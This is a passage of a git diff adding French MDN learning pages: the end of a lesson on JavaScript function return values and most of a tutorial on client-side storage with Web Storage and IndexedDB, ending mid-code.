  3. Ensuite, nous allons ajouter un moyen d'afficher des informations sur le nombre entré dans le champ texte. Ajoutez le gestionnaire d'événement suivant à la suite des fonctions: + 
    input.onchange = function() {
+  var num = input.value;
+  if (isNaN(num)) {
+    para.textContent = 'You need to enter a number!';
+  } else {
+    para.textContent = num + ' squared is ' + squared(num) + '. ' +
+                       num + ' cubed is ' + cubed(num) + '. ' +
+                       num + ' factorial is ' + factorial(num) + '.';
+  }
+}
    + +

    Ici nous créons un gestionnaire d'événement onchange qui s'exécute chaque fois que l'événement change se déclenche sur le champ de saisie de texte, c'est-à-dire lorsqu'une nouvelle valeur est entrée dans le champ de saisie de texte, puis qu'elle est soumise (par exemple lorsqu'on entre une valeur puis qu'on appuie sur Tab). Quand cette fonction anonyme s'exécute, la valeur entrée dans le champ de saisie est stockée dans la variable num.

    + +

    Ensuite, nous faisons un test: Si la valeur entrée n'est pas un nombre, un message d'erreur s'affiche dans le paragraphe. Le test vérifie si l'expression isNaN(num) retourne true. Nous utilisons la fonction isNaN() pour vérifier si la valeur num est un nombre — si c'est le cas, elle retourne false, sinon true.

    + +

    Si le test retourne false, la valeur num est un nombre, alors une phrase s'affiche dans le paragraphe indiquant le carré, le cube et la factorielle du nombre. La phrase appelle les fonctions squared(), cubed() et factorial() pour obtenir les valeurs désirées.

    +
    4. +
  4. Sauvegardez votre code, chargez-le dans votre navigateur et testez-le.
    5. +
+ +
+

Note: Si vous rencontrez des difficultés pour faire fonctionner cet exemple, vous pouvez vérifier le code en le comparant à la Version final sur GitHub (également Démonstration en direct), ou demandez-nous de l'aide.

+
+ +

À ce stade, nous aimerions que vous essayiez d'écrire quelque fonctions de votre choix et que vous les ajoutiez à la bibliothèque. Que diriez-vous des racines carré et cubique du nombre, ou de la circonférence d'un cercle de rayon num?

+ +

Cet exercice a soulevé quelques points importants en plus de nous avoir permis d'étudier l'utilisation de la déclaration return. De plus, nous avons:

+ +
    +
  • Examiné un autre exemple d'écriture de gestion d'erreurs dans nos fonctions. C'est une bonne idée de vérifier que tous les paramètres nécessaires ont été fournis, avec les bons types de données, et, s'ils sont facultatifs, qu'une valeur par défaut est fournie. De cette façon, votre programme sera moins susceptible de lever des erreurs.
    • +
  • Pensé à créer une bibliothèque de fonctions. À mesure que vous avancerez dans votre carrière de développeur, vous recommencerez les mêmes choses encore et encore. C'est une bonne idée de commencer à créer votre propre bibliothèque de fonctions utilitaires que vous utilisez très souvent — vous pouvez ensuite copier ces fonctions dans votre nouveau code, ou même utiliser la bibliothèque dans les pages HTML où vous en avez besoin.
    • +
+ +

Conclusion

+ +

Nous l'avons vu, les fonctions sont amusantes, très utiles et, bien qu'il y ait beaucoup à dire en termes de syntaxe et de fonctionnalités, elles sont assez compréhensibles si elles sont étudiés correctement.

+ +

Si vous n'avez pas compris quelque chose, n'hésitez pas à relire l'article, ou contactez-nous pour obtenir de l'aide.

+ +

Voir aussi

+ +
    +
  • Fonctions  en profondeur — Un guide détaillé couvrant des information plus avancées sur les fonctions.
    • +
  • Fonction Callback en JavaScript — Une façon courante en JavaScript consiste à passer une fonction à une autre en tant qu'argument, qui est alors appelée à l'intérieur de la première fonction.  Cela va au delà de la portée de ce cours, mais mériterait d'être étudier rapidement.
    • +
+ +

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}

+ +

 

+ +

Dans ce module

+ + + +

 

diff --git a/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.html b/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.html new file mode 100644 index 0000000000..e5226ffa24 --- /dev/null +++ b/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.html @@ -0,0 +1,881 @@ +--- +title: Stockage côté client +slug: Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage +tags: + - API + - Apprendre + - Codage + - Débutant + - Guide + - IndexedDB + - JavaScript + - Storage +translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage +--- +

{{LearnSidebar}}

+ +
{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}
+ +
+ +

Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage à long terme, de sauvegarder des documents ou des sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur et plus encore. Cet article explique les fondamentaux pour y parvenir.

+ + + + + + + + + + + + +
Prérequis:Notions de bases de JavaScript (voir premiers pas, les briques JavaScript, les objets JavaScript), les notions de base des APIs côté client
Objectif:Apprendre à utiliser les APIs de stockage côté client pour stocker des données de l'application.
+ +

Stockage côté client ?

+ +

Ailleurs dans la zone d'apprentissage de MDN, nous avons parlé de la différence entre les sites statiques et les sites dynamiques — ces derniers stockent des données côté serveur en utilisant une base de données. Ensuite, ils exécutent du code pour récupérer les données et les insérer dans des templates de page statique. Finalement, le HTML résultant est envoyé au client, qui est alors affiché par le navigateur de l'utilisateur.

+ +

Le stockage côté client fonctionne sur des principes similaires, mais pour une utilisation différente. Le stockage côté client repose sur des APIs JavaScript qui permettent de stocker des données sur la machine de l'utilisateur et de les récupérer au besoin. Cela peut se révéler utile dans différents cas comme :

+ +
    +
  • Personnaliser les préférences du site (par exemple, afficher des widgets personnalisés selon le choix de l'utilisateur, changer le thème du site ou la taille de la police).
    • +
  • Enregistrer les activités sur le site (comme le contenu d'un panier d'achat d'une session précédente, ou encore se souvenir si l'utilisateur s'est déjà connecté).
    • +
  • Sauvegarder des données et ressources localement pour pouvoir accéder au site plus rapidement ou même sans connexion réseau.
    • +
  • Sauvegarder des documents générés par l'application pour une utilisation hors ligne.
    • +
+ +

Souvent, le stockage côté client et côté serveur sont utilisés ensemble. Par exemple, vous pouvez télécharger à partir d'une base de données côté serveur une série de fichiers mp3 utilisés par un site web (comme un jeu ou une application de musique) vers une base de données côté client et ainsi pouvoir les lire quand vous le voulez. Avec cette stratégie, l'utilisateur n'a à télécharger le fichier qu'une seule fois — les visites suivantes, ils sont récupérés à partir de la base de données locale.

+ +
+

Note : La quantité de données que l'on peut stocker à l'aide des APIs de stockage côté client est limitée (limite par API et limite globale), la limite exacte dépend du navigateur et des configurations. Voir Limites de stockage du navigateur et critères d'éviction pour plus d'informations.

+
+ +

À l'ancienne : les cookies

+ +

Le concept de stockage côté client existe depuis longtemps. Au début du web, les sites utilisaient des cookies pour stocker des informations et personnaliser l'expérience utilisateur. C'est la méthode de stockage côté client la plus couramment utilisée et la plus ancienne.

+ +

De par leur histoire, les cookies souffrent d'un certain nombre de problèmes — tant techniques qu'au niveau de l'expérience utilisateur. Ces problèmes sont suffisamment importants pour imposer un message d'information aux utilisateurs habitant en Europe lors de leur première visite si le site utilise des cookies pour stocker des informations sur eux. Cela est dû à une loi de l'Union Européenne connue sous le nom de directive Cookie.

+ +

+ +

Pour ces raisons, nous ne verrons pas dans cet article comment utiliser les cookies. Entre le fait qu'ils sont dépassés, les problèmes de sécurité qu'ils présentent et l'incapacité de stocker des données complexes, les cookies ne sont pas la meilleure manière pour stocker des données. Il y a de meilleures alternatives, modernes, permettant de stocker des données variées sur l'ordinateur de l'utilisateur.

+ +

Le seul avantage des cookies est qu'ils sont supportés par des navigateurs anciens : si votre projet requiert le support de navigateurs obsolètes (comme Internet Explorer 8 et inférieur), les cookies peuvent se révéler utiles. Pour la plupart des projets, vous ne devriez pas avoir besoin d'y recourir.

+ +
+

Note : Pourquoi existe-t-il encore de nouveaux sites crées à l'aide de cookies? Principalement de par les habitudes des développeurs, l'utilisation de bibliothèques anciennes qui utilisent encore des cookies et l'existence de nombreux sites web fournissant des formations et références dépassées pour apprendre à stocker des données.

+
+ +

La nouvelle école : Web Storage et IndexedDB

+ +

Les navigateurs modernes ont des APIs beaucoup plus efficaces et faciles d'utilisation pour stocker des données côté client.

+ +
    +
  • L'API Web Storage fournit une syntaxe très simple pour stocker et récupérer des données de petite taille, basé sur un système de clé/valeur. C'est utile lorsque vous avez besoin de stocker des données simples, comme le nom de l'utilisateur, le fait qu'il soit connecté ou non, la couleur à utiliser pour l'arrière-plan de l'écran, etc.
    • +
  • L'API IndexedDB fournit au navigateur un système de base de données complet pour stocker des données complexes. C'est utile pour des choses allant de simples sauvegardes côté client (texte) au stockage de données complexes tels que des fichiers audio ou vidéo.
    • +
+ +

Vous en apprendrez plus sur ces APIs ci-dessous.

+ +

Le futur : l'API Cache

+ +

Certains navigateurs modernes prennent en charge la nouvelle API {{domxref("Cache")}}. Cette API a été conçue pour stocker les réponses HTTP de requêtes données et est très utile pour stocker des ressources du site afin qu'il soit accessible sans connexion réseau par exemple. Le cache est généralement utilisé avec l'API Service Worker, mais ce n'est pas obligatoire.

+ +

L'utilisation du Cache et des Service Workers est un sujet avancé, nous ne le traiterons pas en détail dans cet article, nous ne montrerons qu'un simple exemple dans la section {{anch("Stockage hors-ligne de ressources")}} plus bas.

+ +

Stocker des données simples — web storage

+ +

L'API Web Storage est très facile à utiliser — on stocke une simple paire clé/valeur de données (limité aux données scalaires) et on les récupére au besoin.

+ +

Syntaxe basique

+ +

Nous allons vous guider pas à pas :

+ +
    +
  1. +

    Tout d'abord, ouvez notre template vide de web storage sur GitHub dans un nouvel onglet.

    +
    2. +
  2. +

    Ouvrez la console JavaScript de votre navigateur.

    +
    3. +
  3. +

    Toutes les données du web storage sont contenues dans deux structures de type objet : {{domxref("Window.sessionStorage", "sessionStorage")}} et {{domxref("Window.localStorage", "localStorage")}}. Le premier conserve les données aussi longtemps que le navigateur est ouvert (elles sont perdues lorsque le navigateur est fermé) et le second conserve les données même après que le navigateur ait été fermé puis ré-ouvert. Nous allons utiliser le second dans cet article car il est généralement plus utile.

    + +

    La méthode {{domxref("Storage.setItem()")}} permet de sauvegarder des données dans le storage — elle prend deux paramètres : le nom de l'entrée à enregistrer et sa valeur. Essayez de taper ce qui suit dans votre console JavaScript (changez le nom et la valeur si vous le voulez !) :

    + + 
    localStorage.setItem('name','Chris');
    +
    4. +
  4. +

    La méthode {{domxref("Storage.getItem()")}} prend un paramètre — le nom de l'entrée que vous voulez récupérer — et retourne la valeur de l'entrée. Maintenant, tapez ces lignes dans votre console JavaScript :

    + + 
    var myName = localStorage.getItem('name');
+myName
    + +

    En tapant la deuxième ligne, vous devriez voir que la variable myName contient la valeur de l'entrée name.

    +
    5. +
  5. +

    La méthode {{domxref("Storage.removeItem()")}} prend un paramètre — le nom de l'entrée de vous voulez supprimer — et supprime l'entrée du web storage. Tapez les lignes suivantes dans votre console JavaScript :

    + + 
    localStorage.removeItem('name');
+var myName = localStorage.getItem('name');
+myName
    + +

    La troisième ligne devrait maintenant retourner null — l'entrée name n'existe plus dans le web storage.

    +
    6. +
+ +

Les données persistent !

+ +

Une caractéristique clé du web storage est que les données persistent entre les différents chargements de page (et même lorsque le navigateur est arrêté dans le cas du localStorage). Regardons ça en action :

+ +
    +
  1. +

    Ouvrez notre template vide une fois de plus, mais cette fois dans un navigateur différent de celui dans lequel vous avez ouvert ce tutoriel. Cela rendra la suite plus facile.

    +
    2. +
  2. +

    Tapez ces lignes dans la console JavaScript du navigateur que vous venez d'ouvrir :

    + + 
    localStorage.setItem('name','Chris');
+var myName = localStorage.getItem('name');
+myName
    + +

    Vous devriez voir que l'entrée name est bien là.

    +
    3. +
  3. +

    Maintenant, fermez le navigateur et ouvrez-le de nouveau.

    +
    4. +
  4. +

    Entrez les lignes suivantes :

    + + 
    var myName = localStorage.getItem('name');
+myName
    + +

    Vous devriez voir que la valeur est toujours accessible, quand bien même le navigateur a été redémarré.

    +
    5. +
+ +

Stockage séparé pour chaque domaine

+ +

Il existe un système de stockage distinct pour chaque domaine (chaque adresse web chargée dans le navigateur a accès à son propre storage et pas aux autres). Vous verrez que si vous chargez deux sites web (disons google.com et amazon.com) et essayez de stocker un élément, il ne sera pas disponible sur l'autre site.

+ +

C'est plutôt logique — imaginez les problèmes de sécurité qui se poseraient si les sites web pouvaient voir les données d'un autre !

+ +

Un exemple plus impliqué

+ +

Appliquons cette nouvelle connaissance pour écrire un exemple, cela vous donnera une idée de la façon dont le web storage peut être utilisé. Notre exemple permettra d'envoyer un nom, à la suite de quoi la page sera mise à jour pour donner un accueil personnalisé. Cet état persistera également après un rechargement de la page ou redémarrage du navigateur, puisqu'il sera stocké dans le web storage.

+ +

Le HTML de l'exemple est disponible à personal-greeting.html — il s'agit d'un site web très simple avec entête, contenu et pied de page, ainsi qu'un formulaire pour entrer votre nom.

+ +

+ +

Nous allons construire cet exemple pas à pas, cela vous permettra de comprendre comment ça marche.

+ +
    +
  1. +

    D'abord, copiez notre fichier personal-greeting.html dans un nouveau répertoire sur votre ordinateur.

    +
    2. +
  2. +

    Ensuite, créez un fichier index.js dans le même répertoire que le fichier HTML — le fichier HTML inclut ce script (voir ligne 40).

    +
    3. +
  3. +

    Nous allons commencer par récupérer les références de tous les éléments HTML qu'on manipulera dans cet exemple — nous les créons en tant que constantes car ces références n'ont pas besoin d'être modifiées au cours de l'exécution de l'application. Ajoutez les lignes suivantes à votre fichier JavaScript:

    + + 
    // créer les constantes nécessaires
+const rememberDiv = document.querySelector('.remember');
+const forgetDiv = document.querySelector('.forget');
+const form = document.querySelector('form');
+const nameInput = document.querySelector('#entername');
+const submitBtn = document.querySelector('#submitname');
+const forgetBtn = document.querySelector('#forgetname');
+
+const h1 = document.querySelector('h1');
+const personalGreeting = document.querySelector('.personal-greeting');
    +
    4. +
  4. +

    Ensuite, on doit ajouter un gestionnaire d'événement pour empêcher le formulaire d'être véritablement soumis lorsque le bouton de soumission est cliqué, puisque ce n'est pas le comportement que l'on veut. Ajoutez le bout de code suivant à la suite de du code précédent :

    + + 
    // Empêcher le form d'être soumis
+form.addEventListener('submit', function(e) {
+  e.preventDefault();
+});
    +
    5. +
  5. +

    Maintenant, on doit ajouter un gestionnaire d'événement pour gérer le clic sur le bouton "Say hello" (dire bonjour). Les commentaires expliquent ce que chaque instruction fait, mais, en substance, on prend le nom que l'utilisateur a entré dans le champs texte et on l'enregistre dans le web storage avec setItem(). Ensuite, on exécute une fonction appelée nameDisplayCheck() qui se charge de mettre à jour le contenu du site web. Ajoutez ceci au bas de votre code :

    + + 
    // exécuter la fonction quand le bouton 'Say hello' est cliqué
+submitBtn.addEventListener('click', function() {
+  // stocker le nom entré dans le web storage
+  localStorage.setItem('name', nameInput.value);
+  // exécuter nameDisplayCheck() pour afficher la
+  // page personnalisée et changer le formulaire
+  nameDisplayCheck();
+});
    +
    6. +
  6. +

    On doit maintenant gérer l'événement lorsque le bouton "Forget" (oublier) est cliqué — il est affiché une fois que le bouton "Say hello" a été cliqué (les deux boutons permettent de basculer d'un état à l'autre). Dans cette fonction, on supprime l'élément name du web storage en utilisant removeItem(), puis on exécute nameDisplayCheck() pour mettre à jour l'affichage. Ajoutez ceci au bas de votre code :

    + + 
    // exécuter la fonction quand le bouton 'Forget' est cliqué
+forgetBtn.addEventListener('click', function() {
+  // supprimer l'item name du web storage
+  localStorage.removeItem('name');
+ // exécuter nameDisplayCheck() pour afficher la
+ // page personnalisée et changer le formulaire
+  nameDisplayCheck();
+});
    +
    7. +
  7. +

    Il est maintenant temps de définir la fonction nameDisplayCheck() elle-même. Ici, on vérifie si l'élément name est stocké dans le web storage en utilisant localStorage.getItem('name') comme condition. S'il existe, la valeur retournée sera évaluée à true; sinon, comme false. S'il existe, on affiche un message d'accueil personnalisé et le bouton "Forget" du formulaire, tout en masquant le bouton "Say hello" du formulaire. Sinon, on affiche un message d'accueil générique et le bouton "Say hello". Encore une fois, mettez les lignes suivantes au bas de votre code :

    + + 
    // définit la fonction nameDisplayCheck()
+function nameDisplayCheck() {
+  // vérifie si l'élément 'name' est stocké dans le web storage
+  if(localStorage.getItem('name')) {
+    // Si c'est le cas, affiche un accueil personnalisé
+    let name = localStorage.getItem('name');
+    h1.textContent = 'Welcome, ' + name;
+    personalGreeting.textContent = 'Welcome to our website, ' + name + '! We hope you have fun while you are here.';
+    // cache la partie 'remember' du formulaire et affiche la partie 'forget'
+    forgetDiv.style.display = 'block';
+    rememberDiv.style.display = 'none';
+  } else {
+    // Sinon, affiche un accueil générique
+    h1.textContent = 'Welcome to our website ';
+    personalGreeting.textContent = 'Welcome to our website. We hope you have fun while you are here.';
+    // cache la partie 'forget' du formulaire et affiche la partie 'remember'
+    forgetDiv.style.display = 'none';
+    rememberDiv.style.display = 'block';
+  }
+}
    +
    8. +
  8. +

    Dernier point, mais non des moindres, on exécute la fonction nameDisplayCheck() à chaque fois que la page est chargée. Si on ne le faisait pas, l'accueil personnalisé ne serait pas affiché après qu'on ait rafraichit la page. Ajoutez ce qui suit au bas de votre code :

    + + 
    document.body.onload = nameDisplayCheck;
    +
    9. +
+ +

Notre exemple est terminé — bien joué ! Il ne vous reste plus qu'à enregistrer votre code et tester votre page HTML dans un navigateur. Vous pouvez voir notre version terminée en direct ici (ou le code JavaScript terminé).

+ +
+

Note : Vous pouvez trouver un exemple un peu plus complexe dans l'article Utiliser l'API de stockage web.

+
+ +
+

Note : Dans la ligne <script src="index.js" defer></script> de notre version finie, l'attribut defer spécifie que le contenu de l'élément {{htmlelement("script")}} ne doit pas s'exécuter avant que la page ait fini de charger.

+
+ +

Stocker des données complexes — IndexedDB

+ +

L'API IndexedDB (parfois abrégé IDB) est un système de base de données complet disponible dans le navigateur. Vous pouvez y stocker des données complexes, les types ne sont pas limités à des valeurs simples de type chaînes ou nombres. Vous pouvez stocker des vidéos, des images et à peu près tout ce que vous voulez, dans une instance IndexedDB.

+ +

Cependant, cela a un coût : IndexedDB est beaucoup plus complexe à utiliser que l'API Web Storage. Dans cette section, nous ne ferons qu'égratigner la surface de ce qu'IndexedDB peut faire, mais nous vous en donnerons assez pour débuter.

+ +

Un exemple de stockage de notes

+ +

Nous allons voir un exemple qui vous permettra de stocker des notes dans votre navigateur, les voir et les supprimer, quand vous le souhaitez. Vous apprendrez à le construire par vous-même au fur et à mesure des explications et cela vous permettra de comprendre les parties fondamentales d'IDB.

+ +

L'application ressemble à ceci :

+ +

+ +

Chaque note a un titre et une description, chacun éditables individuellement. Le code JavaScript que nous allons voir ci-dessous contient des commentaires détaillés pour vous aider à comprendre ce qu'il se passe.

+ +

Pour commencer

+ +
    +
  1. Tout d'abord, copiez les fichiers index.html, style.css, et index-start.js dans un nouveau répertoire sur votre ordinateur.
    2. +
  2. Jetez un coup d'oeil aux fichiers. +
      +
    • Vous verrez que le HTML est assez simple : un site web avec une entête et un pied de page, ainsi qu'une zone de contenu principal contenant un emplacement pour afficher les notes et un formulaire pour en ajouter.
      • +
    • Le CSS fournit un style simple pour rendre plus clair ce qu'il se passe.
      • +
    • Le fichier JavaScript contient cinq constantes déclarées — des références à l'élément {{htmlelement("ul")}} dans lequel seront affichées les notes, les {{htmlelement("input")}} title et body, le {{htmlelement("form")}} lui-même, et un {{htmlelement("button")}}.
      • +
    +
    3. +
  3. Renommez votre fichier JavaScript en index.js. Vous êtes maintenant prêt pour y ajouter du code.
    4. +
+ +

Configuration initiale de la base de données

+ +

Voyons maintenant la première chose à faire, mettre en place la base de données.

+ +
    +
  1. +

    À la suite des déclarations de constantes, ajoutez les lignes suivantes :

    + + 
    // Objet db pour stocker la BDD ouverte
+let db;
    + +

    Ici, on déclare une variable appelée db — on l'utilisera plus tard pour stocker un objet permettant d'accéder à la base de données. On l'utilisera à plusieurs endroits, on l'a donc déclaré globablement ici pour faciliter les choses.

    +
    2. +
  2. +

    Ensuite, ajoutez ce qui suit au bas de votre code :

    + + 
    window.onload = function() {
+
+};
    + +

    On écrira tout notre code dans le gestionnaire d'événement window.onload, appelé quand l'événement {{event("load")}} de la fenêtre est chargé, pour s'assurer qu'on n'essaiera pas d'utiliser IndexedDB avant que l'application ne soit complètement chargée (ça ne marcherait pas sinon).

    +
    3. +
  3. +

    À l'intérieur de window.onload, ajoutez ce qui suit :

    + + 
    // Ouvrir la BDD; elle sera créée si elle n'existe pas déjà
+// (voir onupgradeneeded)
+let request = window.indexedDB.open('notes', 1);
    + +

    Cette ligne crée une requête request pour ouvrir la version 1 de la base de données appelée notes. Si elle n'existe pas déjà, on devra la créer via un gestionnaire d'événement.

    + +

    Vous verrez très souvent ce format dans IndexedDB. Les opérations de base de données prennent du temps et on ne veut pas suspendre le navigateur le temps de récupérer le résultat, les opérations sur la base de données sont donc {{Glossary("asynchronous", "asynchrones")}} — ce qui signifie qu'au lieu d'arriver immédiatement, elles se produiront à un moment ultérieur et un événement sera déclenché lorsque cela arrivera.

    + +

    Pour gérer cela dans IndexedDB, on crée d'abord une requête (que vous pouvez appeler comme vous le voulez — on l'appelle request pour que ce soit plus explicite). On utilise ensuite des gestionnaire d'événement pour exécuter du code lorsque les requêtes sont terminées, échouent, etc, ce que l'on va voir ci-dessous.

    + +
    +

    Note : Le numéro de version est important. Si vous voulez mettre à jour votre base de données (par exemple, pour modifier la structure de la table), vous devez ré-exécuter votre code avec un numéro de version supérieur et spécifier le schéma de la base de données avec le gestionnaire d'événement onupgradeneeded. Nous ne verrons pas la mise à jour de base de données dans ce tutoriel.

    +
    +
    4. +
  4. +

    Maintenant, ajoutez les gestionnaires d'événement suivants, juste en dessous des lignes précédentes — toujours à l'intérieur de window.onload :

    + + 
    // la base de données n'a pas pu être ouverte avec succès
+request.onerror = function() {
+  console.log('Database failed to open');
+};
+
+// la base de données a été ouverte avec succès
+request.onsuccess = function() {
+  console.log('Database opened successfully');
+
+  // Stocke la base de données ouverte dans la variable db. On l'utilise par la suite
+  db = request.result;
+
+  // Exécute la fonction displayData() pour afficher les notes qui sont dans la BDD
+  displayData();
+};
    + +

    Le gestionnaire d'événement {{domxref("IDBRequest.onerror", "request.onerror")}} s'exécutera si la requête échoue. Cela vous permet de gérer le problème si cela arrive. Dans notre exemple, on affiche simplement un message dans la console JavaScript.

    + +

    Le gestionnare d'événement {{domxref("IDBRequest.onsuccess", "request.onsuccess")}}, d'autre part, s'exécutera si la requête aboutit, que la base de données a été ouverte avec succès. Lorsque cela arrive, la propriété {{domxref("IDBRequest.result", "request.result")}} contient alors un objet représentant la base de données ouverte, qui nous permet de la manipuler. On stocke cette valeur dans la variable db qu'on a crée plus tôt pour pouvoir l'utiliser ensuite. On exécute également une fonction appelée displayData(), qu'on définira plus tard — elle affiche les données de la base de données dans le {{HTMLElement("ul")}}. On l'exécute dès à présent pour que les notes en base de données soient affichées dès que la page est chargée.

    +
    5. +
  5. +

    Pour en finir avec cette section, on ajoute le gestionnaire d'événement qui est  probablement le plus important, {{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupdateneeded")}}. Il est exécuté si la base de données n'a pas déjà été créée ou si on veut ouvrir la base de données avec un numéro de version supérieur à celle qui existe (pour faire une mise à jour). Ajoutez le code suivant en dessous de votre gestionnaire précédent :

    + + 
    // Spécifie les tables de la BDD si ce n'est pas déjà pas fait
+request.onupgradeneeded = function(e) {
+  // Récupère une référence à la BDD ouverte
+  let db = e.target.result;
+
+  // Crée un objectStore pour stocker nos notes (une table)
+  // Avec un champ qui s'auto-incrémente comme clé
+  let objectStore = db.createObjectStore('notes', { keyPath: 'id', autoIncrement:true });
+
+  // Définit les champs que l'objectStore contient
+  objectStore.createIndex('title', 'title', { unique: false });
+  objectStore.createIndex('body', 'body', { unique: false });
+
+  console.log('Database setup complete');
+};
    + +

    C'est ici qu'on définit le schéma (la structure) de notre base de données; c'est à dire l'ensemble des champs (ou colonnes) qu'il contient.

    + +
      +
    1. +

      On récupère une référence à la base de données existante depuis e.target.result (la propriété result de la cible de l'événement, c'est à dire l'objet request). C'est l'équivalent de la ligne db = request.result; du gestionnaire d'événement onsuccess, mais on doit le faire de cette manière ici puisque le gestionnaire d'événement onupgradeneeded est exécuté avant onsuccess — la valeur de db n'est pas encore disponible.

      +
      2. +
    2. +

      Ensuite, on utilise {{domxref("IDBDatabase.createObjectStore()")}} pour créer un object store (un container pour une collection d'objets) à l'intérieur de notre base de données. C'est l'équivalent d'une table dans un système de base de données traditionnel. On lui a donné le nom notes, et un champs id avec autoIncrement — pour chaque nouvelle entrée dans cette table, une valeur auto-incrementée sera attributée au champ id sans que le développeur n'ait à le définir. Le champ id est la clé de l'object store: il sera utilisé pour identifier de manière unique les entrées, permettant de les mettre à jour ou les supprimer.

      +
      3. +
    3. +

      On crée deux autres index (champs) en utilisant la méthode {{domxref("IDBObjectStore.createIndex()")}}: title (qui contiendra le titre de chaque note), et body (qui contiendra la description de chaque note).

      +
      4. +
    +
    6. +
+ +

Avec ce simple schéma de base de données en place, on va pouvoir ajouter des entrées à la base de données, des objets qui ressembleront à ça :

+ +
{
+  title: "Acheter du lait",
+  body: "Lait de vache et de soja.",
+  id: 8
+}
+ +

Ajouter des données à la base de données

+ +

Maintenant, voyons comment ajouter des entrées dans la base de données. On le fera en utilisant le formulaire de notre page.

+ +
    +
  1. +

    À la suite du gestionnaire d'événement précédent (mais toujours dans window.onload), ajoutez la ligne suivante — elle définit un gestionnaire d'événement onsubmit pour exécuter la fonction addData() quand le formulaire est soumis (que le {{htmlelement("button")}} envoyer est pressé et que les champs du formulaire sont valides) :

    + + 
    // Créer un gestionnaire onsubmit pour appeler la fonction addData() quand le formulaire est soumis
+form.onsubmit = addData;
    +
    2. +
  2. +

    Maintenant, définissons la fonction addData(). Ajoutez ce qui suit après la ligne précédente :

    + + 
    // Définit la fonction addData()
+function addData(e) {
+  // empêcher le formulaire d'être soumis vers le serveur
+  e.preventDefault();
+
+  // récupérer les valeurs entrées dans les champs du formulaire
+  // et les stocker dans un objet qui sera inséré en BDD
+  let newItem = { title: titleInput.value, body: bodyInput.value };
+
+  // ouvrir une transaction en lecture/écriture
+  let transaction = db.transaction(['notes'], 'readwrite');
+
+  // récupérer l'object store de la base de données qui a été ouvert avec la transaction
+  let objectStore = transaction.objectStore('notes');
+
+  // demander l'ajout de notre nouvel objet à l'object store
+  var request = objectStore.add(newItem);
+  request.onsuccess = function() {
+    // vider le formulaire, pour qu'il soit prêt pour un nouvel ajout
+    titleInput.value = '';
+    bodyInput.value = '';
+  };
+
+  // attendre la fin de la transaction, quand l'ajout a été effectué
+  transaction.oncomplete = function() {
+    console.log('Transaction completed: database modification finished.');
+
+    // mettre à jour l'affichage pour montrer le nouvel item en exécutant displayData()
+    displayData();
+  };
+
+  transaction.onerror = function() {
+    console.log('Transaction not opened due to error');
+  };
+}
    + +

    C'est assez complexe, voyons ça pas à pas :

    + +
      +
    1. +

      On exécute {{domxref("Event.preventDefault()")}} sur l'objet événement pour empêcher le formulaire d'être véritablement soumis (cela provoquerait une actualisation de la page et gâcherait l'expérience utilisateur).

      +
      2. +
    2. +

      On crée un objet représentant une entrée à ajouter dans la base de données, en le remplissant avec les valeurs des champs du formulaire. Notez qu'on n'a pas besoin d'inclure explicitement une valeur id — comme nous l'avons précédemment expliqué, il est auto-rempli.

      +
      3. +
    3. +

      On ouvre une transaction en lecture/écritre (readwrite) sur l'object store notes en utilisant la méthode {{domxref("IDBDatabase.transaction()")}}. Cet object transaction va nous permettre d'accéder à l'object store, pour ajouter une nouvelle entrée par exemple.

      +
      4. +
    4. +

      On récupère l'object store de la transaction avec la méthode {{domxref("IDBTransaction.objectStore()")}} et on le stocke dans la variable objectStore.

      +
      5. +
    5. +

      On ajoute un nouvel enregistrement à la base de données en utilisant {{domxref("IDBObjectStore.add()")}}. Cela crée une requête, sur le même principe qu'on a déjà vu.

      +
      6. +
    6. On ajoute des gestionnaires d'événement à request et transaction pour exécuter du code aux points importants de leur cycle de vie : +
        +
      • Quand la requête a réussit, on efface les champs du formulaire — pour pouvoir ajouter une nouvelle note
        • +
      • Quand la transaction est terminé, on réexécute la fonction displayData() — pour mettre à jour l'affichage de notes sur la page.
        • +
      +
      7. +
    +
    3. +
+ +

Afficher les données

+ +

Nous avons déjà appelé displayData() deux fois dans notre code, nous allons maintenant définir cette fonction. Ajoutez ce qui suit à votre code, en dessous de la définition de la fonction précédente :

+ +
// Définit la fonction displayData()
+function displayData() {
+  // Vide le contenu de la liste à chaque fois qu'on la met à jour
+  // Si on ne le faisait pas, des duplicats seraient affichés à chaque ajout
+  while (list.firstChild) {
+    list.removeChild(list.firstChild);
+  }
+
+  // Ouvre l'object store puis récupère un curseur - qui va nous permettre d'itérer
+  // sur les entrées de l'object store
+  let objectStore = db.transaction('notes').objectStore('notes');
+  objectStore.openCursor().onsuccess = function(e) {
+    // Récupère une référence au curseur
+    let cursor = e.target.result;
+
+    // S'il reste des entrées sur lesquelles itérer, on exécute ce code
+    if(cursor) {
+      // Crée un li, h3, et p pour mettre les données de l'entrée puis les ajouter à la liste
+      let listItem = document.createElement('li');
+      let h3 = document.createElement('h3');
+      let para = document.createElement('p');
+
+      listItem.appendChild(h3);
+      listItem.appendChild(para);
+      list.appendChild(listItem);
+
+      // Récupère les données à partir du curseur et les met dans le h3 et p
+      h3.textContent = cursor.value.title;
+      para.textContent = cursor.value.body;
+
+      // Met l'ID de l'entrée dans un attribut du li, pour savoir à quelle entrée il correspond
+      // Ce sera utile plus tard pour pouvoir supprimer des entrées
+      listItem.setAttribute('data-note-id', cursor.value.id);
+
+      // Crée un bouton et le place dans le li
+      let deleteBtn = document.createElement('button');
+      listItem.appendChild(deleteBtn);
+      deleteBtn.textContent = 'Delete';
+
+      // Définit un gestionnaire d'événement pour appeler deleteItem() quand le bouton supprimer est cliqué
+      deleteBtn.onclick = deleteItem;
+
+      // Continue l'itération vers la prochaine entrée du curseur
+      cursor.continue();
+    } else {
+      // Si la liste est vide, affiche un message "Aucune note n'existe"
+      if(!list.firstChild) {
+        let listItem = document.createElement('li');
